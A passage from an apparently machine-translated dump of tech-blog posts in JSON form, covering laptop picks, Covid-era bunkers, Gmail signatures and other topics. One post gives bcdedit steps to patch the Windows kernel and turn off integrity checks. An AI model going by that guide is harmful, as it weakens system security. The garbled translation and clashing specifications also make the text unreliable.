ports.\nAlthough the glossy surface of the machine is easy to attach to dust and save fingerprints, at the same time there is no choice of full-HD screen, but this is still considered an ideal laptop model for discerning users who want a deck The machine can support well for work, study, while taking excellent responsibility of a mobile entertainment center. 4. Sony VAIO VGN-FW12G (Core 2 Duo P8400 2.26 GHz CPU, 2 GB RAM, 16.4 inch screen)\n    Sony Vaio VGN-FW12G is one of the desktop replacement laptops The lightest in the market. Photo: Cnet .\nSony Vaio VGN-FW12G has a simple but very attractive design, with a 16-inch screen with a 16: 9 aspect ratio ideal for watching HD movies. Along with the long battery life, the rugged and rugged keyboard, is powered by Intel's Centrino 2 technology platform, which provides very high performance for the machine. Despite the high price, Sony Vaio VGN-FW12G is one of the lightest desktop replacement laptop models on the market.\n5. Apple MacBook Pro-Core 2 Duo (2.5 GHz Core 2 Duo CPU, 2 GB RAM, 17-inch screen)\n    The Apple MacBook Pro is still one of the sexiest laptops. Photo: Cnet .\nThis is the new MacBook Pro version that Apple upgraded the processor and lowered the price. This model is still rated as one of the desktop replacement laptops with the slimmest, lightest and sexiest design on the market, with the body made of aluminum, preinstalled with Mac OS X operating system. and iLife software supports multimedia features well. It also allows users to reset profiles for use with Windows operating systems and Microsoft software.\nncG1vNJzZmismaXArq3KnmWcp51kgm64wKmrqKijYrCiuoyrnKmkkZiybrDErKKtp6BisLC5z66rnqqj\n","link":"/post/5-laptops-can-replace-desktop-computers/","section":"post","tags":null,"title":"5 laptops can replace desktop computers"},{"body":"Finding the best laptop for your needs is something everyone cares about, and it is even more important for programmers and experts to write code. How is a device suitable for writing code, or how to own hardware to facilitate programming? Answering questions of this type is not simple at all, especially when you don't have much hardware expertise.\nFortunately, the laptop market is now very large, there are dozens of products from many different manufacturers, stretching across every segment, so there will be no shortage of reasonable options for developers. Programmers depend on the budget they have and especially the need to use in practice. Below is a list of 6 highly rated laptop models for work related to coding and programming, belonging to many different price segments, hoping to become a useful reference channel for you. For now, come to our list soon.\n  13 important SQL statements Programmer needs to know Laptop for programmers Factors that a good laptop for programmers must have List of the best laptops for programmers The best laptop to write code: Dell XPS 13 - price: 21 million Best cheap laptop to program: ASUS VivoBook F510UA - price of 12 million VND The best laptop for game developers: MSI GP73 Leopard-609 - price of 28 million VND The best laptop for iOS application development: Macbook Pro 13 inch - price of 30 million VND Laptops own the best keyboard for programmers: Lenovo ThinkPad T470 - price of 21 million Notebook writing code for best mobility: HP 15T (AMD) - price of 8 million VND  Choosing the best laptop for programming is not as difficult as you think Factors that a good laptop for programmers must have Before going to the list, we must first determine clearly whether a computer is good for writing code, programming will have to own the characteristics and specifications. Although these factors may vary depending on your specific type of work, there will still be a basic 'standard framework' that you need to consider:\nProcessor: Must be at least the 8th generation Intel Core i5, or i7 for game and VR development. RAM: Minimum 8GB, for game development and VR must be 16GB or more. Hard drive: Must be a solid-state drive (SSD) to speed up boot and download data. Screen and graphics: HD screens are the minimum requirement in this case (just helping you read good information is enough). However, game developers will need to add a dedicated graphics card. Keyboard: Bad keyboards can ruin the user experience, no matter how good the specs are! There are, of course, exceptions to these requirements, but as a general rule, any laptop that meets all the above specifications will be ideal for writing-related tasks. code and programming.\n  Overclock CPU, GPU and RAM easily and safely List of the best laptops for programmers The best laptop to write code: Dell XPS 13 - price: 21 million Basic technical parameter:\nProcessor: Intel Core i5-8250U Operating system: Windows 10 RAM: 8GB, can be upgraded to 16GB with the second slot Hard drive: 128GB SSD Display screen size: 13.3 inches. The highest resolution available is 3840 x 2160, original resolution 1920x1080 Optical drive: None Graphics card: Intel UHD Graphics 620 integrated Connection: Wi-Fi 802.11a / b / g / n / ac, Wi-Fi Model Killer 1535 Wireless AC 2x2, Bluetooth 4.1 The size of the touchpad 4.1 x 2.3 inches Ports: Thunderbolt 3, Noble Lock, 3.5mm headphone jack, 2x USB Warranty / support: 1 year Size: 11.98 x 7.88 x 0.46inch (30.4 x 20 x 1.16cm) Weight: 1.2kg Dell XPS is a product line loved by many developers, and everything has a reason for it! The Dell XPS 13 is no exception, this laptop is available with many different hardware configurations, however, the standard version for developers will own an Intel i5 1.60GHz processor. 8th generation. This CPU will ensure you can handle most programming tasks.\n  On the other hand, the Dell XPS 13's InfinityEdge 13-inch touchscreen is also among the best in the segment and is actually used to show that this platform can perfectly support long versions. Of course you can also pay extra to upgrade to 4K Ultra HD version if you want, but the benefits of this will be negligible.\nDDR3 8GB RAM will give most users a relatively smooth experience, so RAM will be a factor that doesn't need to be discussed much here. Besides, this laptop also comes with a choice between pre-loaded Windows 10 Home or Pro or Ubuntu 128GB hard drive (upgradable).\nThe general conclusion of the \"interior\" on the Dell XPS 13 i5-8250U will be that the people have a plentiful budget so it is preferable to upgrade to an SSD with larger capacity or more RAM because this will be an investment. valuable. As for those who are not too financially financed, this configuration is also sufficient for programming tasks as well as basic code writing (except game development and VR).\nHow to enable performance optimization in Windows 10 Best cheap laptop to program: ASUS VivoBook F510UA - price of 12 million VND   Basic technical parameter:\nOperating system: Windows 10 Processor: Intel Core i5-8250U Graphics card: Intel UHD 620 integrated Screen: IPS 15.6inch, Full HD (1920 x 1080) Storage drive: 256GB SSD RAM: 8GB DDR4 Connection port: USB 2.0, USB 3.0, VGA, SD card reader, headphone jack 3.5 Wireless connection: Wi-Fi 802.11 a / b / g / n / ac, Bluetooth 4.0 Size: 36 x 24.3 x 1.9cm (14.21 x 9.57 x 0.76inch) Weight: 1.7kg ASUS VivoBook F510UA is the best programmable performance laptop / best price in the segment of less than 500 USD. Although the selling price only falls to VND 12 million, the hardware specifications that ASUS equips with its products are extremely impressive, with two factors most notable for developers being the processor. 1.6GHz Intel Core i5-8250U and 8GB DDR4 RAM - more than enough for basic programming tasks. Besides, 15.6-inch IPS Full HD screen and 256GB SATA hard drive are also notable points that ASUS equips VivoBook F510UA.\nHowever, to be a great low-cost laptop model for Windows-based developers, it would be better if the VivoBook F510UA is equipped with an additional touch screen. Hopefully, this factor will be paid more attention by ASUS in the next generation product.\nThe mistakes are easy to make when buying a laptop The best laptop for game developers: MSI GP73 Leopard-609 - price of 28 million VND   \nBasic technical parameter:\nOperating system: Windows 10 Home x64 Processor: Intel Core i7 8750H (6 cores, 9MB cache, 2.2GHz-4.1GHz) 45W RAM: 8GB DDR4 2666MHz Graphics card: NVIDIA GeForce GTX 1060 6GB GDDR5 Hard drive: HDD 1TB 7200rpm Screen: 120Hz 3ms, 17.3 inch Full HD (1920 x 1080), NTSC anti-glare Wireless connection: WiFi 802.11 AC Wireless, Bluetooth 5.0 Ports: 1x USB 3.1 Gen 2 type C, 2x USB 3.1 Gen 1, 1x USB 3.1 Gen 2, 1x Mini DisplayPort, 1x HDMI, Killer E2400 Ethernet port, 3.5mm headphone jack, card reader: SD (XC / HC) Size: 42 x 28.7 x 3cm (16.5 x 11.3 x 1.2inch) Weight: 2.7kg Developing games is a huge job, which can range from relatively simple 2D games to full AAA games with top quality graphics. With such a fact, it is advisable to invest in a device strong enough to prepare for all situations.\nMSI GP73 Leopard-609 is a perfect example of an all-powerful machine capable of 'packing' terrible power in a relatively compact body.\nThis model has a powerful 8th generation i7 6 processor and DDR4 8GB RAM - still the top 2 parameters that we care about a laptop for game development. This memory can be upgraded, as well as a 1TB hard drive, which is only HDD, but it is enough for this type of work. The NVIDIA GeForce GTX 1060 is responsible for keeping graphics processing performance smooth, and the 17-inch Full HD screen will make things look sharper when you work. In general, within the price range of under VND 30 million, MSI GP73 Leopard-609 is a product worth considering for game developers.\nExperience upgrading computer graphics cards The best laptop for iOS application development: Macbook Pro 13 inch - price of 30 million VND   Basic technical parameter:\nOperating system: OS X Yosemite 10.10 Processor: Intel Core i5 2.3GHz dual core Graphics card: Intel Iris Graphics 640 RAM: 8GB, 2133MHz LPDDR3 Storage memory: 256GB SSD Screen: IPS 13.3 inch, 2560 x 1600, Led Backlight technology Ports: 2 Thunderbolt 3 Ports (USB-Type C), 3.5mm audio port, USB Type C charging port Size: 30.41 x 21.24 x 1.49cm Weight: 1.37kg It should come as no surprise that an Apple laptop is the best device for developing apps for iOS. The newly released 2018 MacBook Pro is equipped with the Touch Bar, comes with an Intel Core i5 processor with 2.3GHz speed and 8GB of RAM, so this parameter will help the device to handle multitasking in a way Simple, and 256GB SSD storage will allow the MacBook Pro to boot and load 'lightning fast' data. In particular, if you are a person who uses Apple's 'homegrown' Swift language to develop iOS apps, the MacBook Pro has enough power to handle neat language that is known for its margins. Extremely expensive translation of this resource.\nMany people choose to buy the MacBook Pro simply because they have budget surplus and like Apple products. However, if developing an iOS app is your job of earning rice, then the MacBook Pro will be a worthwhile investment product. Besides, if you have to write code for iOS application, the latest MacBook Air may be a reasonable choice for those with a more tight budget.\nHow is eMMC and SSD different? Which type should I buy? Laptops own the best keyboard for programmers: Lenovo ThinkPad T470 - price of 21 million   Basic technical parameter:\nOperating system: Windows 10 Processor: Intel Core i5-7300U (2.60GHz up to 3.50GHz with Turbo Boost, 3MB cache) Graphics card: Intel HD 620 integrated RAM: 16GB DDR4 2133 MHz Storage drive: SSD PCIe 512GB Welding: 14-inch IPS multi-touch screen FHD (1920 X 1080) Ports: 3x USB 3.0, 1x 3 port Thunderbolt (USB Type-C), 3.5mm headphone jack, 1x HDMI, 1x Micro SIM, SD card reader. Wireless connection: Wi-Fi Dual Band Wireless AC (2 x 2) 8265, Bluetooth 4.1 Size: 33.6 x 23.2 x 1.9cm (13.25 x 9.15 x 0.79 inches) Weight: 1.58kg The feeling of comfortable data entry or high data entry are two important factors in the process of writing code, and laptops often rarely meet both requirements, but the ThinkPad T470 is Exception. Lenovo's ThinkPad product line is famous for delivering a great input experience, and of course the T470 is not out of that tradition either. In addition to providing optimal data entry capabilities, the 7th-generation Intel Core i5 processor 1.6GHz, 16GB of RAM is also two parameters that can bring peace of mind to programmers. Besides, the 512GB SSDe storage drive can be upgraded to 1TB on the ThinkPad T470 is also a commendable factor that Lenovo equips its products.\nIn addition to the hardware specifications, there is another great feature on the ThinkPad T470 that the programmers will find useful is Power Bridge, which allows users to swap batteries without powering off the device, ensuring ensure seamless, avoid data loss in emergency situations.\nThe best laptop models for video editing 2019 Notebook writing code for best mobility: HP 15T (AMD) - price of 8 million VND   Basic technical parameter:\nOperating system: Windows 10 Processor: AMD A6-9220 dual core, 2.50GHz, 1MB cache Graphics card: AMD Radeon R4 RAM: 4GB SDRAM Storage drive: HDD 500GB Shaped welding: 15.6 inch HD 1366 x 768 Connection port: 2x USB 3.1 Gen 1, 1x USB 2.0, 1x HDMI, 1x RJ-45, SD card reader, 3.5mm headphone jack Wireless connection: Wi-Fi 802.11 B / G, 802.11bgn, 802.11.b, Bluetooth 4.0 Size: 38 x 25.5 x 2.3cm (15 x 10 x 0.9inch) Weight: 2kg For programmers who rarely sit in one place and often have to move a lot, carrying an expensive, heavy, bulky machine may not be a good idea, besides difficulties while carrying According to your device, you can also face the risk of losing, or falling, causing unnecessary losses, and HP 15T can completely solve the problems mentioned above.\nHP 15T has the necessary power for most of your daily tasks at super attractive selling prices. This laptop is equipped with an AMD 2.5 GHz processor and 4GB DDR4 RAM, of course not comparable to other products on our list. However, it represents a lower-level financial investment and, therefore, a great secondary machine for backup cases. Unfortunately, the 15T doesn't have a touch screen, but in return the device has two USB 3.1 ports along with HDMI output for quite flexible pairing for other products.\nOne thing you should keep in mind is that HP laptops are often famous for accompanying a lot of 'silly' pre-installed bloatware. Therefore, if you want to make the most of this laptop, you should install a \"clean\" version of Windows 10, or better yet, use a reliable Linux distribution.\nExperience choosing to buy the best computer monitor Choosing the best laptop for programming is not as difficult as you think Finally, choosing the best laptop to program will depend on two main factors, namely your actual use and budget. This list contains options that include both low-cost and high-end and with many different uses, but are not meant to be comprehensive. If you are looking for a less good alternative, you can refer to our article \"The best under 12 million laptops according to each criterion\" to find the best choice for you.\nWish you can choose for yourself a good product!\nncG1vNJzZmismaXArq3KnmWcp51kg26uxKyrZqSRpcGwvIympp2dnKh6p7vRZqerp5enrq65xKuq\n","link":"/post/6-best-laptop-models-for-programmers/","section":"post","tags":null,"title":"6 best laptop models for programmers"},{"body":"The bunker took the throne\nRising S is a company producing underground tunnels and bomb shelters. The company's revenue has now quadrupled compared to the same period last year. Different from the tragic situation of many businesses, large and small around the world, Rising S is benefiting from the global Covid-19 pandemic.\nAs a US-based company, CEO Clyde Scott said he received calls from around the world, including customers in countries that Scott had never served like Croatia. According to the CEO, the average cost to build a bunker that customers are preferred cost $ 150,000.\nSince the outbreak last year in China, the world has had nearly 600,000 people infected with the corona virus. It caused billions of people to be quarantined or restricted to go out to prevent the disease from spreading. Outbreak in China but now, the US is the largest outbreak in the world.\n Larry Hall, leader of Survival Condo - another bunker manufacturing company in the US, also said that the company's sales increased sharply due to disease outbreak. Currently, many people are able to buy the bunkers that the company provides.\n\" In the past, we often had to bring people around to visit to sell. Now, customers are rushing in and choosing quickly, like they really need them ,\" Hall said. .\nDespite receiving calls from around the world, including the Middle East, East Asia or Europe, most of Hall's customers are American. They are people who work in a variety of industries, including doctors, engineers or technology experts.\nThe unit price for a bunker ranges from $ 500,000 to $ 2.4 million. They are not like apocalyptic shelters but an inviolable resort with an indoor pool, a gym or even climbing walls.\nSecluded island in the middle of the expensive sea\nHowever, bunkers are not the only option. Some people choose to buy islands in the ocean to avoid the virus and enjoy an open space rather than burrowing underground. The private island of Gladden is an example. Located off the Caribbean coast of Belize, the island is special because it's completely private, said Chris Krolow, business director of Private Islands.\nWaiters lived on another small island nearby. When needed, people will contact by light to notify. \" This is probably the safest place on the planet for those who want to hide this terrible virus strain because it is located nearly 40 km off shore and on a reef, \" Krolow described. However, to rent this island, 2 people need to spend 2,950 USD / night.\n Another location in the Caribbean is the Blue Island of the Bahamas. It has its own runway, so it gets the attention of those who own individual aircraft. This island costs $ 70 million.\nKrolow also said he received many calls last week from people with yachts, traveling around the islands trying to find a safe place to stop and be willing to pay.\nAirplanes and yachts are preferred\nPersonal jets and yachts are also a favorite tool for avoiding the epidemic of the super-rich. Jonathan Beckett, CEO Burgess Yachts, said many people are deciding to stay at sea to avoid the epidemic. 4-week or 7-week tours have also been designed to help families float in epidemic oceans.\nOn the yacht, children not only study at home, but also cook with chefs on board and spend time in the engine room to learn more about other aspects of the yacht.\n Meanwhile, Christopher Williams-Martin, CEO FlyEliteJets, said the business was more favorable from February 14. At that time, there was a rumor about something quite large that would impact commercial flights. Williams-Martin said his company started receiving calls from customers, including many former Ambassadors.\nHowever, two weeks ago, Martin realized the demand for travel increased sharply, 30 times higher than normal. Instead of taking artists on tour, businessmen doing business, it was a request from those who wanted to return home before the border was blocked.\nAccording to Martin, the demand for this service is skyrocketing. Currently, there are 300 people book flights in 3-4 days period. The fact that commercial airlines are unable to conduct service operations because the spread of disease means that what private carriers offer no longer means too expensive to use.\nncG1vNJzZmismaXArq3KnmWcp51ks7O7zGaZrqabmr%2B0ecWoqWacn6S6tLDAsmStp12lv6rCwK2cpbFdpMSvscNmoKykkaOxtHnToZxmqpmYtW6t0Z5kmq6fnrGqusZmq6uZnqi5osDIp55moZ5ir7a%2BzWakqKaVrnq4rdis\n","link":"/post/from-bunkers-for-doomsday-to-privately-owned-islands-the-rich-are-avoiding-translating-in-burn-money-ways/","section":"post","tags":null,"title":"From bunkers for 'doomsday' to privately owned islands, the rich are avoiding translating in 'burn money' ways."},{"body":"As you know, there are two versions of Windows starting from XP that are 32-bit and 64-bit versions. Sometimes a 32-bit Windows is called x86 and 64-bit is called x64. This article will not go into detail the difference between 32-bit and 64-bit Windows but one of the main differences is that 64-bit Windows can support more than 4GB of RAM. If the computer has 4GB of RAM and is using 32-bit Windows, you'll notice that only about 3GB - 3.5GB is used and the remaining memory is gone. Strangely, Windows 2003 and 2008 were able to solve more than 4 GB of memory, so why can't we do that with Vista and newer operating systems?\n8 easy ways to free RAM make the machine run faster The answer is: Microsoft doesn't want that and it's just a licensing issue. There is no reason why a 32-bit Windows cannot access memory above 4GB, but in many cases Microsoft does not allow it.\n  Of course we can use the 64-bit version of Windows, but even today, there are still quite a lot of software that cannot run on x64, this can be inconvenient if someone installs and checks a lot. software. Not only that, 64-bit Windows does not accept unallocated drivers unless you disable the execution of driver signatures manually every time it starts. This makes many users frustrated. This is good news for Windows 8, 7 and Vista users because we have some patches to make 32-bit Windows support more than 4GB of memory.\nThere were a few 4GB patches available, but unfortunately most of them were not updated. For example, the RamPatch tool works quite well on Windows 7 RTM, but has never been updated to be compatible with changes to kernel files in Service Pack 1. In addition, the program has been removed from the site. due to antivirus software.\n  However, you can download and try it on Windows 7 if you want. Although some users have reported no problems running these kernel files from SP0 on a SP1 installation, there may still be stability or compatibility issues that will arise.\nFortunately, there is a solution that has been updated and although the implementation is not as easy as the above RamPatch tool. PatchPae2 was developed by Wen Jia Liu, also known as \"wj32\", the person behind the Software to Manage Hacker Process Task. This is a small command line tool that will patch the system files needed to enable 4GB of memory and more in Windows Vista SP2, Windows 7 RTM, SP1 and Windows 8 RTM 32-bit. Follow the steps below to activate a patch system, the core system files are NOT overwritten, meaning you can return without too much hassle.\nStep 1: Download the PatchPae2 command line tool and extract the zip files into a folder. In this example, the zip file is extracted in drive C.\nStep 2: Open the Command Prompt with Administrator rights by pressing the Win key, type cmd in the search box and press Ctrl + Shift + Enter . Then type the following:\ncd C: Windowssystem32\nStep 3: For Windows Vista and Windows 7 users:\nC: PatchPae2.exe -type kernel -o ntkrnlpx.exe ntkrnlpa.exe\nFor Windows 8 users:\nC: PatchPae2.exe -type kernel -o ntoskrnx.exe ntoskrnl.exe\nThis will create a copy and then patch the Windows kernel files to allow more memory of 4GB and larger.\nStep 4: Type the following line to create a copy and disable signature verification in the Windows loader file:\nC: PatchPae2.exe -type loader -o winloadp.exe winload.exe\nStep 5: Enter this line to create an entry in Window's boot menu, you can change the text in quotation marks to your version:\nbcdedit / copy {current} / d 'Windows Vista / 7/8 (Patched)'\n  In the message 'successfully copied to .', you will see some BCDID characters in parentheses, and record these characters to enter them in the following commands.\nStep 6: Enter the following commands in turn, press Enter after each command. Replace BCD_ID with the ID received from step 5:\nbcdedit / set {BCD_ID} kernel ntkrnlpx.exe (for Win 8 use ntoskrnx.exe)\nbcdedit / set {BCD_ID} path Windowssystem32winloadp.exe\nbcdedit / set {BCD_ID} nointegritychecks 1\nNow restart the computer and you will get a new entry on the Windows Boot Manager to run the patched operating system.\n  The good news is that if you have a problem, you only need to switch to a system that has not been patched by restarting, because the kernel files have been copied and not overwritten. When booting the patch system, a quick check will show that the memory capacity is now fully used. Note that you may still not be able to access all memory if some memory is shared with the video adapter, such as 512MB onboard graphics.\n  As you can see in the image above, we now have a 32-bit Windows 7 with 6GB of built-in RAM.\n  The image above shows that Windows Resource Monitor confirms that 6GB of memory is installed and ready to use with a capacity of over 5GB still available.\nIf you want to uninstall this patch from the system, just boot into unpatched Windows, press the Windows key, type msconfig and press Enter . Then select Boot tab and mark boot patch, click Delete . This screen can also be used to reduce standby time and choose to install patch as the default operating system to boot if it plans to keep it permanently.\n  Alternatively, you can access C: WindowsSystem32 and delete the files ntkrnlpx.exe and winloadp.exe. If after updating Windows that the patch no longer works, run the command from step 3 again to patch the kernel file again.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktKbAjJqjpWVknK9uu8VmqZqlXaS7bsPIp5uor6NihHl51aKqrZldaH%2BjtdM%3D\n","link":"/post/get-all-4gb-of-ram-on-windows-7-8-vista-32-bit/","section":"post","tags":null,"title":"Get all 4GB of RAM on Windows 7.8, Vista 32-bit"},{"body":"Dirt Rally is a racing game first released in 2015 on PC. Dirt Rally consists of 17 models and 36 complex racing tracks, dust and dirt simulating real-world locations such as the peaks of Colorado Pikes, Powys and Argolis . giving players the most authentic experience.\nDirt Rally has two game modes: single player and multiplayer. Both modes allow you to upgrade your own car, hire and train your own team.\n  Thanks to the great physics, many racing cars from different eras and beautiful graphics, Dirt Rally is rated by game review sites with a high score of 8/10.\nCurrently, the distributor of Humble Store is giving away the free Off-Road Dirt Rally racing game worth $ 39.99 until September 1. After successfully receiving this game for free on the Humble Store, you will have the key to enter Steam and play Dirt Rally permanently on Steam.\nInstructions for getting free Dirt Rally game:\nStep 1: Create an account on the Humble Store page, if you haven't already.\n​https://www.humblebundle.com/    Step 2: Visit the free Dirt Rally page by following the link below and select GET IS GAME.\n​https://www.humblebundle.com/store/dirt-rally?hmb_campaign=freegame_2019_homepage_dirtrally\u0026amp;hmb_medium=banner    Step 3: When the Order Complete message appears, click on the Preview your Email button on the blue background (or open the email using your account registration and click on the link in the sent Humble Store email) -\u0026gt; click the Redeem Now button.\n  Step 4: Open Steam and enter the Game Key received in the Reveal your Steam key box.\n  Configuration to play Dirt Rally:\n   Please download Celeste and Inside, two great adventure, puzzle games are free ncG1vNJzZmismaXArq3KnmWcp51ktKbAjJ%2Bpnp1dp66ktc2gZKCZnZp6pbXRrWSrmZyhxm7DzquroWVjboZ6edWimGagpaKvrbGMrKuoqpU%3D\n","link":"/post/get-free-racing-game-dirt-rally-worth-39-99-via-humble-store/","section":"post","tags":null,"title":"Get free racing game Dirt Rally worth $ 39.99 via Humble Store"},{"body":"Have you ever wondered how the lives of astronauts on the universe from shampooing, bathing, toileting? The fact that life in space is different from Earth or what we often see in sci-fi films.\nWhat happens if you shoot in space? Can astronauts go to catch Pokemon? The video below will show you the washing of astronauts in outer space with lots of interesting things.\n\nThe video recorded the washing process of Expedition 36 astronaut Karen Nyberg on the ISS International Station.\nWhether your hair is short or long, in the weightless world, they stand up. And of course the astronauts can't flush the water like they do on Earth, they have to apply shampoo on a towel and swipe along the hair to clean it. Even astronauts can't let their newly-washed hair out of a towel, because suspended hair can stab the eye or be inhaled by astronauts.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjJ2mZpmjqb%2BwusCuq6xlp5bAqXnToZyiql2drqq%2BjKKlZquglrCm\n","link":"/post/how-do-astronauts-wash-their-hair-in-space/","section":"post","tags":null,"title":"How do astronauts wash their hair in space?"},{"body":" This wikiHow teaches you how to access and change the properties and settings of individual files on a computer. You can do this on both Windows computers and Mac computers. Open Start . Click the Window logo in the bottom-left corner of...\n Jessica Tanner Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYlruosYyfoKWdXaW%2FsLzEq6uinaM%3D\n","link":"/post/how-to-change-file-properties/","section":"post","tags":null,"title":"How to Change File Properties"},{"body":"  If you have to use Gmail regularly to send electronic messages, creating a professional signature with full information and style of yourself or the collective you represent is essential.\nA professional Gmail signature is not only aesthetically pleasing, but also contains enough information or contact that you want to show off. In this article, let's learn TipsMake.vn learn how to create a professional Gmail signature .\n1. Manually create a professional Gmail signature manually Gmail allows you to create a signature under each outgoing letter and your signature and the content of the message will be separated by a '-' dash. The maximum number of characters you can use for your signature is 10,000 characters.\nThe first thing you need to do is open up Gmail . In the interface of Gmail , in the right corner icon Settings gear. Click the gear icon and choose Settings .\n  You continue to scroll down the bar, find Signature . This is the item we need to be interested in in this article. Remember to put a checkmark in the dot before the sign indicating box so you can add the signature you are about to create to all letters sent.\n  In this signature box, there are functions that can be used in the process of creating a professional signature:\n- Font: used to create signatures with different fonts\n- Font size: used to change the size of the characters in the signature\n- Format: there are three basic formats used here: bold (B) , italic (I) and underline (U)\n- Font color: used to change the color of characters in the signature\n- Links: used to insert links into signatures\n- Tea photo: used to add photos to the signature\n- Align line: use to align left, center or right for signatures\n- List: used to create bulleted or numbered lists in the signature\n- Quote: create a quote line for the signature\n- Clear formatting: the T-shaped slash at the end to delete the formatting you just set for your signature characters\n  Start creating a signature, you click on the space in the signature display box. The type of characters you need to include in your Gmail signature , such as your name or the name of the organization you are representing.\n  Insert images into a signature by clicking the Insert image icon in the format bar. You can insert images into signatures from 3 sources: Drive, your computer or by URL.\n  If you choose to get photos from your computer, you need to open the folder containing the images you need to insert and then select the image and click Open to perform inserting images into the signature frame.\n  It may take a few seconds for the image to finish uploading.\n  You can insert many different pictures and choose the right size for your photos.\nNext, you can also insert the link for the image you just inserted. When inserting a link into a photo, your email recipient just needs to click on the image to open the link.\nThis is suitable for creating shortcuts to open the social networking sites you or the collective you are representing.\nHighlight the image you want to insert a link and then click the Link icon in the format bar.\n  At this point, your photo will be temporarily assigned a URL:\nYou need to change this address to the link you want to link. Click on Change .\n  Put a tick in the Web Address . Delete the / go and then copy the link to be empty. Finally click OK to confirm the link insert.\n  As the picture below shows, the blue icon of Facebook has been linked to the Facebook page of TipsMake.vn .\nYou can do the same with the other photos using the above method.\n  You can also insert your email address in the same way as above. Highlight the image icon to insert an email address and then click the Link icon.\n  Instead of leaving a tick at the Web Address , this time you change the tick to Email Address .\nAdd your email address in the blank box and then click OK to confirm.\n  The logo used for linking links should be images that are small in size only about 25x25 px so as not to occupy a position that is too big to lose the aesthetics of your signature.\nHere are some popular icon images shared by TipsMake.vn . You can use it to create your own Gmail signature :\n                               You can now edit the format for the characters in the signature. The rules for using these formats are quite simple, just highlight the characters to change the format and choose the type of format you want.\nFor example, below, highlight the name 'Software Tips' and then select the B icon to bold this character.\n  You can also change the size of a character with the size of a letter with two big and small T letters standing next to each other. There are 4 sizes for you to choose from: Small, Normal, Large, Very Large.\n  After formatting the characters, you can line up your signature. Aligning will rely on the width of the letter to move the signature position horizontally.\nIf left unchecked, it will default to left alignment.\n  After editing is complete, you can look at your signature again to see if it fits. If not satisfied then you can customize it again.\n  Finally, drag the mouse pointer to the end and click Save changes to save the signature you have just created.\n  After creating a signature, each of your new messages will be assigned a signature similar to the image below.\nNote that this signature, as well as the characters added to the email you drafted, can be deleted or edited right in the letter you are editing.\n  2. The website supports creating professional signatures for Gmail If you do not feel confident in your aesthetics, you can also use a few intermediary sites to help you create a signature for Gmail . They will have the form available, all you need to do is fill out the information you need to indicate only.\n2.1. HTLMSig Link link: https://htmlsig.com/\nThis site allows you to create a simple, yet eye-catching signature. You can sign up for the SIGN UP NOW account package if you want to use the site's fuller service.\nIf not, you can try the site's free service, by clicking Or Try a Free Signature .\n  The screen will appear the signature creation interface of this website. The right hand side is filled with the information to be inserted into the signature and the left side will be the last one that you will receive and you can preview it first.\nFill in all the required information in the Main section such as name (Name), job title (Job Title), email, phone number (Mobile Phone), company name (Company Name), Website .\nNext to Main is Social, this section is the place to fill information associated with the social network you use such as Facebook, Twitter, Youtube, Instagram .   Finally, after completing all the information, you can click on Create Signature to start initializing the signature.\n  Then when the signature is created at the top of the web page, simply copy the signature with the shortcut Ctrl C or right-click and select Copy .\n  Then you copy that signature to the Signature Settings section (the way outlined in Part 1) and then Save changes to complete.\n  2.2. Newoldstamp Link link: https://newoldstamp.com/editor/\nLike HTLMSig, this site also allows you to create a signature for email but with different design styles and more options such as font, font size, format and font color.\nYou can enter the information you want to insert in the signature in the SIGNATURE DETAILS section .\n  You can insert pictures or logos in PHOTO OR LOGO .\n  Finally, information on how to contact your social networking sites with SOCIAL ICONS .\n  After the installation is complete, click Save and install in the PREVIEW section (preview).\n  You will be able to preview your signature in the Gmail interface or other email delivery facilities.\n  If you feel your signature is okay, select Copy and proceed .\n  The signature you just created has been copied to the Clipboard, then you just need to paste it into the Gmail signature box and save and you have a professional signature created by Newoldstamp site .\n  Have you currently created a professional Gmail signature for yourself or your organization? Thank you for following the article of TipsMake.vn on How to create professional Gmail signatures , wish you success.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyaZKmqn5uytL%2FIqKWapF2cuqK1y2aqop%2BelsG2vsRmaWlqYA%3D%3D\n","link":"/post/how-to-create-a-professional-gmail-signature-2020/","section":"post","tags":null,"title":"How to create a professional Gmail signature 2020"},{"body":"Creating an account on the Internet is easy, but deleting it is very difficult. On the web, information can last forever, so knowing how to delete your old online accounts to protect your privacy is essential.\nLet's explore AccountKiller, a website that will show you how to do that.\nWhat is AccountKiller? AccountKiller.com started in 2011 with a single goal of helping users delete accounts online. Companies make it easy to create accounts, but getting rid of them is another matter. Websites often hide the deletion process or make it lengthy and difficult, the goal is to keep as many accounts as possible.\n AccountKiller was created to reduce the ambiguity of deleting accounts AccountKiller was created to reduce the ambiguity of deleting accounts. Whenever someone finds a quick or easy method to delete an account, they'll list it on the web for everyone to see. People who are trying to delete an account can then use this information to delete them.\nHow to use AccountKiller Using AccountKiller is easy. Once on the home page, you can fill out the form for details on how to delete an account. The AccountKiller team will then contact you again and include details on how to close your account.\nIf you don't want to wait for a response, you can do your own research instead. In the search bar above, enter the name of the site where you have the account you want to delete. The site will suggest a number of pages, so click on the one that suits you best.\n Click on the page that suits you best After selecting the site, you will see an actual file that specializes in the site and what it does. AccountKiller will then tell you what information you should gather to delete your account. This information may include past addresses, emails, and passwords that the site may ask to confirm cancellation requests. Be sure to gather enough of this information to ensure the deletion process goes smoothly.\nAfter that, AccountKiller shows you how to delete an account with step by step instructions. This may involve navigating the website to find options for deleting accounts or providing customers with call support to cancel accounts.\nIf you have to call the support center, AccountKiller will usually tell you the phone number you need to call, what to say and who to contact. This is very important, because customer support representatives can make it difficult for you to close your account. Knowing what to ask and what to say will help speed up the process.\nAdd or edit websites on AccountKiller Although AccountKiller has an extensive database, you may not see your selected site listed. Similarly, you can follow the steps on the site, but see some false details or an easier way to delete your account.\nIn either case, you can add your own information to the site. Just go to the Submit A Site section to enter the details you need to share. Please be sure to state what information you must provide to submit an account removal request, if any. If your information is good, it will appear on the site after passing the censorship process.\n You can add or edit information about websites on AccountKillerncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyVobK1sYyoo51ln6O5qrrEZpicm5%2Bqu7W%2FjLCgraBdlrCku9Snq6ShnKGysw%3D%3D\n","link":"/post/how-to-delete-old-online-accounts-with-accountkiller/","section":"post","tags":null,"title":"How to delete old online accounts with AccountKiller"},{"body":" Nearly everyone uses a car for business or personal use. If you use a car, you also need repair and maintenance on your vehicle. As a result, 